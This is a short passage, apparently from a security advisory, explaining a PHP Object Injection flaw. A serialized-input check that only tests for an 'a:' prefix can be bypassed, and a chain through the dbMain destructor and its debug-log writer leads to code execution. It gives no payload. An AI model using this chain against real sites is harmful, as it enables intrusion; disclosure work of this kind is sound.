The only one check is done at line 4026, where is controlled that the serialized string starts with 'a:', but this is not sufficient to prevent a "PHP Object Injection" because an attacker may send a serialized string which represents an array of objects. This can be exploited to execute arbitrary PHP code via the "__destruct()" method of the "dbMain" class, which calls the "writeDebugLog" method to write debug info into a file. PHP code may be injected only through the $_SERVER['QUERY_STRING'] variable, for this reason successful exploitation of this vulnerability requires short_open_tag to be enabled.
